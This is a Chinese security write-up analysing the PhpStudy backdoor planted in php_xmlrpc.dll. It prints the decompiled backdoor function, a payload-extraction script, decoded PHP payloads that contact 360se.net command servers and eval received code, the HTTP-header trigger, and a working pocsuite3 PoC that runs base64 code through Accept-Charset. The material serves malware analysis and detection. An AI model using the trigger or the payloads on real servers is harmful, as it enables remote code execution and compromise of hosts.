phpstudy-backdoor

0x00 背景

2019/9/20,杭州公安发布《杭州警方通报打击涉网违法犯罪暨‘净网2019’专项行动战果》,

文章曝光了国内知名PHP调试环境程序集成包–PhpStudy遭到黑客篡改并植入后门。

参考

被篡改植入后门的phpstudy版本为:

  • phpstudy 2016版php-5.4
  • phpstudy 2018版php-5.2.17
  • phpstudy 2018版php-5.4.45

后门在php_xmlrpc.dll文件中,搜索字符串eval可以检查是否遭到篡改。

image-20200120213324468

下面是对该backdoor的分析过程。

0x01 IDA分析

1、载入php_xmlrpc.dll文件,Shift+F12切换到Strings窗口,搜索字符串eval

image-20200120214949060

2、选中字符串,双击进入data段,Ctrl+x使用交叉引用,进入具体text段

image-20200120215427432

text段代码:

image-20200120215525489

3、F5转换为伪代码

image-20200120220212282

4、复制伪代码,进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
int __cdecl sub_10003490(int a1, int a2, int a3)
{
...//变量定义略

memset(&v29, 0, 0xB0u);
v30 = 0;
v3 = *(_DWORD *)a3;
v31 = 0;
v4 = *(_DWORD *)(v3 + 4 * (_DWORD)core_globals_id - 4);
v5 = *(_BYTE *)(v4 + 220) && !*(_BYTE *)(v4 + 217) && !*(_BYTE *)(v4 + 218);
if ( v5 )
zend_is_auto_global("_SERVER", 7, a3);
zend_hash_find(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 216, "_SERVER", 8, &v35);
if ( zend_hash_find(
*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 216,
"_SERVER",
strlen("_SERVER") + 1,
&v41) != -1
&& zend_hash_find(**(_DWORD **)v41, "HTTP_ACCEPT_ENCODING", strlen("HTTP_ACCEPT_ENCODING") + 1, &v36) != -1 )
{
if ( strcmp(**v36, "gzip,deflate") )
{
v14 = strcmp(**v36, "compress,gzip");
if ( !v14 )
{
v15 = &byte_10011B34;
v16 = (signed int)&unk_1000C66C;
v44 = &byte_10011B34;
v17 = &unk_1000C66C;
while ( 1 )
{
if ( *(_DWORD *)v17 == 39 )
{
v15[v14] = 92;
v44[v14 + 1] = *(_BYTE *)v16;
v14 += 2;
v17 = (char *)v17 + 8;
}
else
{
v15[v14++] = *(_BYTE *)v16;
v17 = (char *)v17 + 4;
}
v16 += 4;
if ( v16 >= (signed int)&unk_1000D5C4 )
break;
v15 = v44;
}
spprintf(&v38, 0, "$V='%s';$M='%s';", byte_10011A68, Dest);
spprintf(&v44, 0, "%s;@eval(%s('%s'));", v38, "gzuncompress", v44);
v18 = *(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4);
v19 = *(_DWORD *)(v18 + 296);
*(_DWORD *)(v18 + 296) = &v34;
v42 = v19;
v20 = setjmp3(&v34, 0);
v21 = v42;
if ( v20 )
{
v22 = a3;
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v42;
}
else
{
v22 = a3;
zend_eval_string(v44, 0, &byte_10011B34, a3);
}
result = 0;
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)v22 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v21;
return result;
}
}
else
{
if ( zend_hash_find(
*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 216,
"_SERVER",
strlen("_SERVER") + 1,
&v41) != -1 )
{
if ( zend_hash_find(**(_DWORD **)v41, "HTTP_ACCEPT_CHARSET", strlen("HTTP_ACCEPT_CHARSET") + 1, &v39) != -1 )
{
v42 = sub_10004440(**v39, strlen(**v39));
if ( v42 )
{
v6 = *(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4);
v7 = *(_DWORD *)(v6 + 296);
*(_DWORD *)(v6 + 296) = &v32;
v37 = v7;
v8 = setjmp3(&v32, 0);
v9 = v37;
if ( v8 )
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v37;
else
zend_eval_string(v42, 0, &byte_10011B34, a3);
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v9;
}
}
}
}
}
if ( dword_10011D60 - dword_10011D50 >= dword_1000C010 && dword_10011D60 - dword_10011D50 < 6000 )
{
if ( strlen(byte_10011A68) == 0 )
sub_10004810(byte_10011A68);
if ( strlen(Dest) == 0 )
sub_10004710(Dest);
if ( strlen(byte_10011A9C) == 0 )
sub_10004870(byte_10011A9C);
v10 = &byte_10011B34;
v11 = (signed int)"x";
v43 = &byte_10011B34;
v12 = 0;
v13 = (int)"x";
while ( 1 )
{
if ( *(_DWORD *)v13 == 39 )
{
v10[v12] = 92;
v43[v12 + 1] = *(_BYTE *)v11;
v12 += 2;
v13 += 8;
}
else
{
v10[v12++] = *(_BYTE *)v11;
v13 += 4;
}
v11 += 4;
if ( v11 >= (signed int)&unk_1000C66C )
break;
v10 = v43;
}
spprintf(&v43, 0, "@eval(%s('%s'));", "gzuncompress", v43);
v24 = *(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4);
v25 = *(_DWORD *)(v24 + 296);
*(_DWORD *)(v24 + 296) = &v33;
v40 = v25;
v26 = setjmp3(&v33, 0);
v27 = v40;
if ( v26 )
{
v28 = a3;
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v40;
}
else
{
v28 = a3;
zend_eval_string(v43, 0, &byte_10011B34, a3);
}
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)v28 + 4 * (_DWORD)executor_globals_id - 4) + 296) = v27;
if ( dword_1000C010 < 3600 )
dword_1000C010 += 3600;
ftime(&dword_10011D50);
}
ftime(&dword_10011D60);
if ( dword_10011D50 < 0 )
ftime(&dword_10011D50);
return 0;
}

在敏感代码中:

1
2
spprintf(&v38, 0, "$V='%s';$M='%s';", byte_10011A68, Dest);
spprintf(&v44, 0, "%s;@eval(%s('%s'));", v38, "gzuncompress", v44);

gzuncompress为解压缩经压缩的字符串

image-20200120222759037

如此这里实现的功能是进行字符串的拼接和解压缩:@eval(gzuncompress('v44'))

那么v44就是压缩了的payload。

往上追踪v44

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( !v14 )
{
v15 = &byte_10011B34;
v16 = (signed int)&unk_1000C66C;
v44 = &byte_10011B34;
v17 = &unk_1000C66C;
while ( 1 )
{
if ( *(_DWORD *)v17 == 39 )
{
v15[v14] = 92;
v44[v14 + 1] = *(_BYTE *)v16;
v14 += 2;
v17 = (char *)v17 + 8;
}
else
{
v15[v14++] = *(_BYTE *)v16;
v17 = (char *)v17 + 4;
}
v16 += 4;
if ( v16 >= (signed int)&unk_1000D5C4 )
break;
v15 = v44;
}

压缩的v44的payload长度为:从unk_1000C66C到unk_1000D5C4。

往下追踪v44

1
zend_eval_string(v44, 0, &byte_10011B34, a3);

zend_eval_string是编写PHP拓展时,如需调用PHP内置函数则调用其的函数。

此处为执行前面v44处的代码。

由此大概分析得:

payload进行了压缩,压缩后的payload在调用的时候,与gzuncompress函数、eval函数进行拼接成字符串,

然后通过zend_eval_string函数执行该字符串。

5、提取payload

将压缩的payloadunk_1000C66C到unk_1000D5C4,通过脚本提取出来

image-20200121000401278

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding:utf-8 -*-
#!/usr/bin/env python

import os, sys, string, shutil, re
import base64
import struct
import pefile
import ctypes
import zlib
#import put_family_c2

def hexdump(src, length=16):
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c+length]
hex = ' '.join(["%02x" % ord(x) for x in chars])
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable))
return ''.join(lines)

def descrypt(data):
try:
#data = base64.encodestring(data)
#print(hexdump(data))
num = 0
data = zlib.decompress(data)
#return result
return (True,result)
except Exception,e:
print(e)
return (False,"")

def GetSectionData(pe,Section):
try:
ep = Section.VirtualAddress
ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
data = pe.get_memory_mapped_image()[ep:ep+Section.Misc_VirtualSize]
#print(hexdump(data))
return data
except Exception,e:
return None

def GetSecsions(PE):
try:
for section in PE.sections:
#print(hexdump(section.Name))
if (section.Name.replace('\x00','') == '.data'):
data =GetSectionData(PE,section)
#print(hexdump(data))
return(True,data)
return(False,"")
except Exception,e:
return(False,"")

def get_encodedata(filename):
pe = pefile.PE(filename)
(ret,data) = GetSecsions(pe)
if ret:
flag = "gzuncompress"
offset = data.find(flag)
data =data[offset+0x10:offset+0x10+0x567*4].replace("\x00\x00\x00","")
decodedata_1 = zlib.decompress(data[:0x191])
print(hexdump(data[0x191:]))
decodedata_2 = zlib.decompress(data[0x191:])
with open("decode_1.txt","w") as hwrite:
hwrite.write(decodedata_1)
hwrite.close
with open("decode_2.txt","w") as hwrite:
hwrite.write(decodedata_2)
hwrite.close

def main(path):
c2s = []
domains = []
file_list = os.listdir(path)
for f in file_list:
print f
file_path = os.path.join(path, f)
get_encodedata(file_path)

if __name__ == "__main__":
path = "1"
main(path)

6、解码payload

image-20200121084918256

payload1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);
fclose($fp);

审计:获取服务端的ip和端口,然后使用fsockopen函数模拟GET形式发送数据包。

payload2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
//接收数据,每接收一次就连接一次。
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
//错误则重连一次测试
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
//将数据写入文件,模拟发送
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);//读取
$info = stream_get_meta_data($handle);//超时退出
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}

$ds = array("www","bbs","cms","down","up","file","ftp");//域名表
$ps = array("20123","40125","8080","80","53");//端口表
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p); //拼接组合
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
//执行
@eval(base64_decode($info[3]));
}

审计:内置域名表和端口表,遍历后发送数据,执行后门。

7、分析执行条件

在前面追踪v44的时候,要进入执行后门的逻辑,必须满足:

1
2
3
4
5
6
if ( !v14 )
{
v15 = &byte_10011B34;
v16 = (signed int)&unk_1000C66C;
v44 = &byte_10011B34;
v17 = &unk_1000C66C;

也就是v14False/0,继续往上跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
memset(&v29, 0, 0xB0u);
v30 = 0;
v3 = *(_DWORD *)a3;
v31 = 0;
v4 = *(_DWORD *)(v3 + 4 * (_DWORD)core_globals_id - 4);
v5 = *(_BYTE *)(v4 + 220) && !*(_BYTE *)(v4 + 217) && !*(_BYTE *)(v4 + 218);
if ( v5 )
zend_is_auto_global("_SERVER", 7, a3);
zend_hash_find(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 216, "_SERVER", 8, &v35);
if ( zend_hash_find(
*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 216,
"_SERVER",
strlen("_SERVER") + 1,
&v41) != -1
&& zend_hash_find(**(_DWORD **)v41, "HTTP_ACCEPT_ENCODING", strlen("HTTP_ACCEPT_ENCODING") + 1, &v36) != -1 )
{
if ( strcmp(**v36, "gzip,deflate") )
{
v14 = strcmp(**v36, "compress,gzip");
if ( !v14 )
{
v15 = &byte_10011B34;
v16 = (signed int)&word_1000C66C;
v44 = &byte_10011B34;
v17 = &word_1000C66C;

审计:

获取客户端请求的HTTP信息,

1
2
if (zend_hash_find(*(_DWORD *)(*(_DWORD *)a3 + 4 * (_DWORD)executor_globals_id - 4) + 216,"_SERVER",strlen("_SERVER") + 1,&v41) != -1
&& zend_hash_find(**(_DWORD **)v41, "HTTP_ACCEPT_ENCODING", strlen("HTTP_ACCEPT_ENCODING") + 1, &v36) != -1 )

检查是否存在ACCEPT_ENCODING以及其下一个字段即ACCEPT-CHARSET

1
if (strcmp(**v36, "gzip,deflate") ){v14 = strcmp(**v36, "compress,gzip");

检查ACCEPT_ENCODING字段内是否为gzip,deflate,再检查是否为compress,gzip,压缩指令,如果是则往下执行。

往下拼接字符串,执行payload。

0x02 check

Linux下:

image-20200121120238440

windows下:直接拖进编辑器查找字符串(见上)

0x03 PoC

1、shell

image-20200121150106449

2、pocsuite3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pocsuite3.api import Output,POCBase,register_poc,requests
class BackDoor(POCBase):
vulID='1'
version='1'
author='Rj45mp'
vulDate='2019-09-20'
createDate='2020-01-21'
updateDate='2020-01-21'
references=['']
name='phpstudy'
appPowerLink='test'
appName='phpstudy'
appVersion='2016&2018'
vulType='backdoor'
desc='backdoor'
samples=['http://127.0.0.1']
install_requires=[]
pocDesc='Rj45mp for test.'

def _verify(self):
header= {"Accept-Encoding":"gzip,deflate","Accept-Charset":"ZWNobyBtZDUoJ1JqNDUnKTs="}
result={}
target=self.url
req=requests.get(target,headers=header)
res = req.text
if("4965f45eac3381c2455b76ab2c9d4b1a" in res):
result['VerifyInfo']={}
result['VerifyInfo']['URL']=target
return self.parse_output
def _attack(self):
return self._verify()
def parse_output(self,result):
output=Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable.')
return output
register_poc(BackDoor)

Accept-Charset字段对echo md5('Rj45mp')进行了base64编码,如果在返回的数据中存在经过md5的Rj45mp,则说明漏洞存在。

执行结果如下:

image-20200121153608990

0x04 参考

seebug-PhpStudy 后门分析

ChaMd5安全团队-phpstudy后门文件分析以及检测脚本

freebuf-phpStudy后门简要分析

微步情报局-phpStudy遭黑客入侵植入后门事件披露 | 微步在线报告